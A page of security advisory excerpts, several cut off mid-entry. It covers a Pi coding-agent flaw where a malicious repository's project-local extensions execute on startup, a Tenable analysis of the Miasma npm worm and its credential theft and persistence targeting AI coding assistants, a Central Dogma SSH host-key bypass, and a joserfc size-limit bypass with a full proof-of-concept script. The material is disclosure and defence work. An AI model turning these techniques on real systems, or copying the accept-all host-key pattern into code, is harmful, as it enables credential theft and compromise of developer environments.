attacker must get a user to open or otherwise work in an attacker-controlled repository and start Pi there. The attacker does not need an account on the user's machine or prior privileges in Pi. If exploited, project-local extension code runs with the same permissions as the user running Pi. It can access files, environment variables, credentials available to the process, the network, and local tools available to that user. In CVSS terms, this advisory rates the impact as limited confidentiality and integrity impact without a distinct availability impact because exploitation requires local user action in an untrusted repository and does not cross a privilege boundary. This risk is most relevant for users who run Pi in repositories they have not reviewed or do not trust. Pi's security guidance requires users to trust the codebases they work with, or to use an external sandbox or isolation boundary for untrusted repositories. ## Affected versions - Affected: `< 0.79.0` - Patched: `0.79.0` ## The solution Pi 0.79.0 added project trust gating for project-local inputs. On interactive startup, Pi now asks before loading project-local settings, instructions, resources, package-managed resources, or extensions when a trust decision has not already been saved for the working directory. Non-interactive modes do not prompt. Without a saved trust decision, they ignore project-local inputs unless `--approve` or `-a` is passed. Users can also pass `--no-approve` or `-na` to ignore project-local inputs for a single run even when a project is already trusted. Before trust is resolved, Pi loads only user/global extensions and extensions passed explicitly on the command line. Those extensions can participate in the `project_trust` event; project-local extensions are not loaded until after the project is trusted. ## Recommendations Upgrade `@earendil-works/pi-coding-agent` to version 0.79.0 or later. After upgrading, review project trust prompts carefully and only trust repositories whose Pi-specific configuration and extensions you are willing to run. The upgrade makes this trust decision explicit, but it does not change Pi's security model: users should work only in trusted repositories, or use external isolation for untrusted code. Use `--no-approve` for one-off runs where project-local inputs should be ignored. For untrusted repositories or unattended automation, follow Pi's [security guidance](https://pi.dev/docs/latest/security) and run Pi inside an operating-system sandbox, container, VM, or other isolation boundary with only the files and credentials required for the task. ## Workarounds Before and after this change, Pi users should only run Pi in repositories they trust, or in an external sandbox or isolation boundary when working with untrusted code. Pi 0.79.0 adds an explicit trust prompt as a defense-in-depth and user-safety improvement; it is not a sandbox and it does not make untrusted repositories safe. If upgrading is not possible and your workflow already enforces this trust boundary, continue to avoid running Pi directly in untrusted repositories. Inspect and remove project-local Pi configuration and resources before use, especially project-local extensions and package configuration. Disabling extensions and other project resources with command-line flags can reduce exposure, but trusted or isolated execution remains the primary mitigation. ## Timeline - 2026-05-25: Report received. - 2026-06-05: Project trust gating committed. - 2026-06-08: Project trust refi | CVE Database V5 | ||
| –Not rated | – | Tenable Research A stolen session cookie sat in underground markets for seven weeks before attackers used it to poison 32 Red Hat packages in the npm software registry, an example of the industrial approach behind modern supply chain attacks. Key takeaways Miasma is a self-propagating npm worm derived from Mini Shai-Hulud that TeamPCP open-sourced on May 12. The public release of the full weaponized toolchain means any operator can now replicate structurally identical supply chain campaigns. The Miasma campaign compromised 89-plus npm packages across three waves (June 1-5), affecting Red Hat, Vapi.ai, and Microsoft Azure repositories. The worm produced malicious packages with valid SLSA Build Level 3 provenance attestations, defeating the highest tier of supply-chain integrity verification. The root cause was a stolen developer credential that sat in infostealer logs for seven weeks before weaponization. This infostealer-to-supply-chain pipeline is the defining pattern of the Developer Credential Economy. The Miasma campaign’s third wave (June 5) introduced a significant escalation: persistence files that target AI coding assistants (Claude Code, Cursor, Gemini CLI, VS Code), expanding the attack surface from package registries to the developer’s local environment. Relying on execution-layer detection, such as EDR, is insufficient against supply chain threats because EDR tools lack visibility into the ephemeral CI/CD environments where credential theft and weaponization occur. Organizations should treat developer credentials as control-plane infrastructure and adopt a phased Continuous Threat Exposure Management (CTEM) approach: harden the generation layer, neutralize harvested secrets in real time, and enforce human-gated publishing controls. Background on the Miasma worm and npm supply chain attack On June 1, the Miasma self-propagating worm compromised 32 official npm packages under the @redhat-cloud-services namespace, delivering a credential-harvesting payload to an estimated 80,000 to 117,000 weekly downloads. Within five days, the campaign escalated through three distinct attack waves and forced GitHub to disable 73 repositories across four Microsoft organizations . The technical details of the Miasma supply-chain attack are alarming: valid Supply Chain Levels for Software Artifacts (SLSA) provenance attestations on malicious packages; a novel execution technique that bypasses install-script monitoring; and a new persistence mechanism that targets AI coding assistants. But the most important detail is a timestamp. Dark web monitoring firm Whiteintel detected a Red Hat employee’s GitHub credential and session cookie in infostealer logs on April 13. A second sighting appeared on May 15. The credential sat in underground markets for approximately seven weeks before attackers weaponized it on June 1. That seven-week gap is the signature of an emerging threat model that Tenable’s Research Special Operations (RSO) team calls the Developer Credential Economy , and has been tracking since March 2026. The Developer Credential Economy is a structured black market for highly privileged developer credentials where open-source supply chain compromises function as credential generation infrastructure, underground markets serve as the distribution layer, and multiple threat actors with distinct motivations weaponize the harvested access downstream. The Miasma campaign is the clearest example of this model to date, and it validates a pattern that has been accelerating across the npm, PyPI, and GitHub ecosystems throughout 2026. The three-layer economy, explained through Miasma When it first assessed this pattern in March, Tenable RSO built the analysis around the TeamPCP cascading campaign (Trivy, KICS, LiteLLM, Telnyx, and 66+ npm packages) and the Sapphire Sleet/UNC1069 Axios compromise . The thesis identified a three-layer structure: credential generation, distribution, and weaponization. Three months later, the Miasma campaign validates each layer with striking clarity. Layer Actor / group Operational focus Primary targets Miasma validation Generation TeamPCP Bulk credential harvesting via tool exploitation Trivy, KICS, TanStack, Red Hat npm scope Miasma's payload sweeps GitHub tokens, cloud credentials, CI/CD secrets, SSH keys, and .env files from every infected environment Distribution Underground markets, infostealer aggregators Credential brokering and tooling proliferation Stolen developer credentials; open-sourced worm code Red Hat employee credential sat in infostealer logs for seven weeks before weaponization; Shai-Hulud source published May 12 Weaponization Sapphire Sleet (DPRK-nexus), LAPSUS$, Miasma operator, copycat actors State-sponsored exfiltration, data theft, cascading supply chain compromise Axios (npm), Mercor AI, @vapi-ai/server-sdk, Azure/durabletask Each Miasma wave generates A fresh credential pool, feeding the next wave and enabling downstream actors Layer 1: Credential generation The Developer Credential Economy’s first layer is extraction. Threat actors compromise developer tooling and open-source infrastructure not primarily to distribute malware to end users, but to harvest the credentials those environments contain, such as GitHub tokens, npm publishing tokens, cloud provider credentials, CI/CD secrets, SSH keys, and API keys. TeamPCP pioneered this at scale beginning in September 2025 with the original Shai-Hulud worm. Its defining innovation was cascading credential extraction: compromise one trusted tool, harvest the credentials it holds, and use those credentials to compromise the next tool in the dependency chain. The Trivy vulnerability scanner compromise yielded CI/CD runner secrets. Those secrets enabled the KICS compromise . KICS yielded additional cloud credentials. Each link in the chain generated a broader set of privileged access. By May, TeamPCP had refined this into the Mini Shai-Hulud variant, which introduced two capabilities that made the generation layer dramatically more efficient: Wormable propagation : The malware queries the npm registry for every package the compromised identity can publish, and republishes itself across all of them automatically. CI/CD pipeline hijack via OpenID Connect (OIDC) token extraction : Rather than stealing static credentials, Mini Shai-Hulud requests short-lived OIDC tokens through GitHub Actions, enabling it to publish packages with valid cryptographic provenance. In the Miasma supply chain campaign, this generation layer operated through a Red Hat employee’s compromised GitHub account. The worm’s payload swept the infected environment for: GitHub tokens and personal access tokens npm publishing tokens AWS, GCP, and Azure cloud credentials HashiCorp Vault tokens Kubernetes service account tokens SSH private keys Docker registry credentials GPG keys .env files The June variant added dedicated collectors for GCP and Azure cloud identities, going beyond secret extraction to enumerate all cloud access the infected machine holds. Every machine that ran npm install against a compromised @redhat-cloud-services package version became a credential generation node. Layer 2: Distribution The second layer is the marketplace. Stolen credentials flow from the generation layer into underground markets, infostealer log aggregators, and access brokering services, where they become available to any buyer. The Miasma supply chain-attack timeline makes this layer visible in a way previous campaigns did not. Whiteintel detected the Red Hat employee’s GitHub credential and session cookie in infostealer logs on April 13. That credential was not generated by a targeted supply chain attack against Red Hat; a commodity infostealer harvested it, one of 13.2 million infostealer infections that SpyCloud's 2025 Identity Exposure Report documented as producing an average of 50 credentials per infection. The credential entered the distribution layer as one data point among billions: SpyCloud recaptured 5.3 billion credential pairs, 18.1 million exposed API keys and tokens, and 8.6 billion stolen session cookies from criminal underground monitoring in 2025 alone. For seven weeks, the credential sat in the distribution layer before someone acted on it. That dwell time is the systemic gap that the Developer Credential Economy exploits. Organizations that do not monitor underground markets for exposed developer credentials are operating on the assumption that the generation-to-weaponization pipeline does not exist, or that it operates too slowly to matter. Miasma demonstrates that even a seven-week window, which is long by underground market standards, is more than sufficient for weaponization. The distribution layer was further amplified on May 12, when TeamPCP published the complete Mini Shai-Hulud source code on GitHub under an MIT License with the message “Shai-Hulud: Open Sourcing The Carnage.” The release included CI cache-poisoning scripts, the OIDC token extractor, and the credential stealer with its propagation logic. This is the supply chain equivalent of publishing a working exploit framework: the tooling itself became a distribution channel, lowering the barrier to entry for any operator who wants to run a structurally identical campaign. Layer 3: Weaponization The third layer is operational use. Actors with distinct motivations acquire credentials from the distribution layer and weaponize them against specific targets. In March, the RSO team documented at least three distinct actors operating from the same credential pool : TeamPCP harvested at scale: Sapphire Sleet/UNC1069 (DPRK-nexus) operationalized stolen npm tokens for financial gain through the Axios compromise and LAPSUS$ exploited compromised Tailscale VPN credentials from the LiteLLM breach for data theft from Mercor AI. The same credential ecosystem fed all three. Miasma’s weaponization layer continues to evolve, but the trajectory across its three waves demonstrates the pattern: Wave 1 (June 1) used the stolen R | Tenable Research | |||
| High | 8.8 | EPSS 0.2% | CVE-2026-11745LY Central Dogma · CWE-322 High8.8EPSS 0.2%CVE Database V5CVE-2026-11745 # Vulnerability Central Dogma's Git mirror SSH client installs an Apache MINA SSHD `ServerKeyVerifier` lambda that returns `true` unconditionally for every outbound SSH connection used by `git+ssh://` mirrors. The accompanying lines disable the `known_hosts` and `~/.ssh/config` fallbacks, and a repo-wide search confirms that no host-key pinning mechanism (no `acceptedHostKeys`, `knownHosts`, `KnownHostsServerKeyVerifier`, `StaticServerKeyVerifier`, or `RequiredServerKeyVerifier`) exists anywhere in `server-mirror-git/`. Operators have no opt-in way to enable verification. Every outbound mirror connection blindly trusts whatever host key the remote presents. ## Evidence File: `server-mirror-git/src/main/java/com/linecorp/centraldogma/server/internal/mirror/SshGitMirror.java` Lines 143-160 (especially 149) on branch `main` @ commit `d64a5151`: ```java private SshClient createSshClient() { final ClientBuilder builder = ClientBuilder.builder(); // Do not use local file system. builder.hostConfigEntryResolver(HostConfigEntryResolver.EMPTY); // line 146 builder.fileSystemFactory(NoneFileSystemFactory.INSTANCE); // line 147 // Do not verify the server key. builder.serverKeyVerifier((clientSession, remoteAddress, serverKey) -> true); // line 149 ... } ``` Verification: - Read confirmed on 2026-05-21 against `main` @ `d64a5151`. - A multi-agent code audit verified that no operator-facing pinning field exists on `SshKeyCredential`, `PasswordCredential`, or `MirrorContext`. - Exploit PoC reproduced locally with a `paramiko`-based fake SSH server bound to 127.0.0.1. The fake server presents an ephemeral RSA host key never seen before; the Central Dogma mirror client accepts the connection and proceeds to authentication, logging the offered username and public-key fingerprint. A correctly hardened SSH client would refuse the connection before reaching the authentication phase. - Full PoC artifacts (read-only, loopback-only) at `~/centraldogma-poc/C1_ssh_hostkey_bypass/` on the reporter's workstation. ## Impact Threat model: An on-path attacker on the corporate network — ARP spoofing on the LAN, internal DNS poisoning, malicious internal DNS overriding `github.com` or the configured internal git hostname, BGP hijack, sidecar/CNI compromise in Kubernetes, or any process able to answer TCP on the resolved IP. No Central Dogma account required; only network position. 1. **Direction `LOCAL_TO_REMOTE`**: the attacker impersonating the remote git server receives the entire mirrored repository contents over the SSH session. Central Dogma is a configuration store, so this typically exfiltrates DB credentials, third-party API keys, certificates, feature flags, and any other secret configuration committed to mirrored repositories. 2. **Direction `REMOTE_TO_LOCAL`**: the attacker can serve arbitrary commits which Central Dogma materializes into the local repo and then broadcasts to every subscribing microservice via the watch API. This is a supply-chain root-of-trust compromise across all downstream services consuming Central Dogma configuration. 3. **Credential theft chain with finding H2** (mirror credentials are not bound to a hostname): an SSH key or access token configured for `github.com` can be captured by the attacker's fake server and replayed against the real upstream, extending impact beyond Central Dogma itself. Scope is `Changed` (CVSS) because exploitation alters trust assumptions of every downstream client of Central Dogma, not just Central Dogma itself. ## How to fix 1. Add an `acceptedHostKeys: List<String>` field to `SshKeyCredential` and `PasswordCredential` (or to `MirrorContext`). Values are SHA-256 fingerprints of trusted remote SSH server host keys, e.g. `SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8`. 2. Replace the accept-all lambda at `SshGitMirror.java:149` with a verifier that computes the SHA-256 fingerprint of the presented host key and compares it against the credential's allowlist using a constant-time comparison. 3. Refuse to connect when `acceptedHostKeys` is empty — fail-closed. Do not implement implicit TOFU. 4. Optionally provide an admin-only `dogma mirror probe-host-key <remote>` tool that performs a single audited connection, prints the server's fingerprint, and prompts the operator to add it to the credential. This makes TOFU an explicit, audited operation. 5. Update `SshGitMirrorTest.java` and `it/mirror/*` tests to pin a test fingerprint or use the explicit trust-once tool, so the regression cannot silently return. | CVE Database V5 | ||
| High | 8.5 | EPSS 0.2% | CVE-2026-12782EaseUS Partition Master · Improper Access Controls High8.5EPSS 0.2%CVE Database V5CVE-2026-12782 A security flaw has been discovered in EaseUS Partition Master up to 14.5. The impacted element is an unknown function in the library EUEDKEPM.sys of the component Kernel Driver. The manipulation results in improper access controls. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. The affected component should be upgraded. The vendor explains: "We have confirmed that this issue was present only in older versions of the product. Our product has since been updated, and the issue has been resolved in the latest version, so it no longer exists." EPSS 0.2%Vulnerability | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-48990authlib joserfc · Uncontrolled Resource Consumption Medium5.3EPSS 0.2%CVE Database V5CVE-2026-48990 # RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization ## Summary Testing revealed that `joserfc` accepts oversized RFC7797 `b64=false` JWS payloads without applying `JWSRegistry.max_payload_length`. The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with `ExceededSizeError`. The RFC7797 unencoded payload paths do not make the same check. A valid `b64=false` compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than `JWSRegistry.max_payload_length`. This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on `joserfc` to reject oversized token content during verification. ## Affected Product - Package: `joserfc` - Ecosystem: `pip` - Audited release: `1.6.5` - Audit tag: `1.6.5` - Audit commit: `881712980934fb601bed26fe3ae1ec0b7780e6f7` - Tested affected releases: `1.3.4`, `1.3.5`, `1.4.2`, `1.6.2`, `1.6.3`, `1.6.4`, `1.6.5` - Fixed release: none known ## Vulnerability Details In `joserfc` 1.6.5, the default JWS registry has `max_payload_length = 128000` and exposes `validate_payload_size()`. The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly: ```text if is_rfc7797_enabled(protected): if not payload_segment and payload: payload_segment = to_bytes(payload) payload = payload_segment ``` The flattened JSON RFC7797 path has the same pattern: ```text payload_segment = value["payload"].encode("utf-8") if is_rfc7797_enabled(member.headers()): payload = payload_segment ``` Neither branch calls `registry.validate_payload_size(payload_segment)` before accepting the unencoded payload. ## Reproduction The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 `b64=false` behavior. Requirements: ```bash python -m pip install "joserfc==1.6.5" ``` Run: ```bash python joserfc_rfc7797_size_bypass_poc.py ``` Self-contained proof script: ```python #!/usr/bin/env python3 import json import joserfc from joserfc import jws from joserfc.jwk import OctKey def check_compact(name, header, payload, key): token = jws.serialize_compact(header, payload, key) try: obj = jws.deserialize_compact(token, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } def check_json(name, protected, payload, key): data = jws.serialize_json({"protected": protected}, payload, key) try: obj = jws.deserialize_json(data, key) return { "case": name, "accepted": True, "exception": None, "payload_len_after_deserialize": len(obj.payload), } except Exception as exc: return { "case": name, "accepted": False, "exception": type(exc).__name__, "error": str(exc), } key = OctKey.import_key("secret-secret-secret") limit = jws.default_registry.max_payload_length payload = "A" * (limit + 1) results = { "joserfc_version": joserfc.__version__, "default_max_payload_length": limit, "payload_len": len(payload), "compact": [ check_compact("normal_b64_true", {"alg": "HS256"}, payload, key), check_compact( "rfc7797_b64_false", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], "json": [ check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key), check_json( "rfc7797_b64_false_json", {"alg": "HS256", "b64": False, "crit": ["b64"]}, payload, key, ), ], } print(json.dumps(results, indent=2, sort_keys=True)) ``` Expected output on `1.6.5` includes: ```json { "default_max_payload_length": 128000, "payload_len": 128001, "compact": [ { "case": "normal_b64_true", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ], "json": [ { "case": "normal_b64_true_json", "accepted": false, "exception": "ExceededSizeError" }, { "case": "rfc7797_b64_false_json", "accepted": true, "exception": null, "payload_len_after_deserialize": 128001 } ] } ``` ## Version Checks I reproduced the same differential behavior on | CVE Database V5 |
Page 5 of 10